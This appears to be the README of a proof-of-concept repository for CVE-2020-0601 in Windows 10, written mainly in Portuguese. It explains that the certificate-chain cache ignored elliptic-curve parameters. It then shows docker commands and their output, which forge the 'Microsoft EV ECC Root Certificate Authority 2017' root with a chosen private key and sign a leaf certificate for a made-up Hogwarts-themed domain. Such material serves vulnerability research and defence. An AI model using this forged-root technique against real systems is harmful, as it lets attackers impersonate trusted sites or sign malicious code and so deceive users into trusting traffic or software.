
proof of concept for CVE-2020-0601
Uma prova de conceito divertida para criar sua própria AC raiz e certificado assinado com base na vulnerabilidade CVE-2020-0601 no Windows 10. A base do problema é que o método CertGetCertificateChain() validava incorretamente autoridades de certificação raiz. Como a busca por um certificado de assinatura dentro do trust store pode ser cara, a Microsoft implementou um cache que usava a chave pública do certificado raiz fornecido para determinar se esse certificado já havia sido carregado do trust store. No entanto, para certificados de curva elíptica, o SubjectPublicKeyInfo contém mais do que apenas uma chave pública. Certificados de curva elíptica devem referenciar a curva elíptica específica (ou fornecer seus próprios parâmetros de curva elíptica personalizados). A vulnerabilidade ocorre porque os parâmetros da curva elíptica não são incluídos na consulta ao cache. Podemos pegar uma chave pública existente, escolher uma nova chave privada, calcular parâmetros de curva que tornam essa combinação válida e criar um certificado raiz que passará na consulta anteriormente vulnerável do cache da Microsoft.
Este repositório demonstra a falsificação do certificado raiz confiável "Microsoft EV ECC Root Certificate Authority 2017" e o uso desta nova AC raiz para assinar um certificado folha.

docker build -t gringotts .
$ docker run --rm -it -v "$(pwd):/host" -w /host gringotts
Modified generator:
04bb3de13398a18e1c0d1a2d77ae8cbb9ea358d8c5c075eac51e0c408a0367db2ba187f1ab2febd8859d4c12811563fae6056fef803bff43964ca15c63a28cdc1fdfd38dab9fac20e7a8fa1fae619e576ee5706423414a3c3f8c7e1a2d8adc9cd7
Serializing root.txt and self-sign root certificate
Writing ca/root.pem
Serializing root private key
Writing ca/root-key.pem
read EC key
writing EC key
Generating a RSA private key
...............................................+++++
.........................................................................................+++++
writing new private key to 'ssl/server-key.pem'
-----
Using configuration from /usr/lib/ssl/openssl.cnf
Check that the request matches the signature
Signature ok
Certificate Details:
Serial Number:
7c:e6:11:18:1c:5a:14:3e:6f:f0:e2:85:ea:5f:c7:dc:50:a4:b9:b2
Validity
Not Before: Apr 30 00:00:00 2018 GMT
Not After : Aug 1 00:00:00 2020 GMT
Subject:
countryName = GB
stateOrProvinceName = Scotland
localityName = Highlands
organizationName = Gringotts
organizationalUnitName = Hogwarts Castle
commonName = hogwarts.lf.lc
X509v3 extensions:
X509v3 Subject Alternative Name:
DNS:hogwarts.lf.lc
Certificate is to be certified until Aug 1 00:00:00 2020 GMT (184 days)
Write out database with 1 new entries
Data Base Updated
$ tree
.
├── ca
│ ├── root-key.pem
│ └── root.pem
└── ssl
├── server-bundle.pem
├── server-key.pem
└── server.pem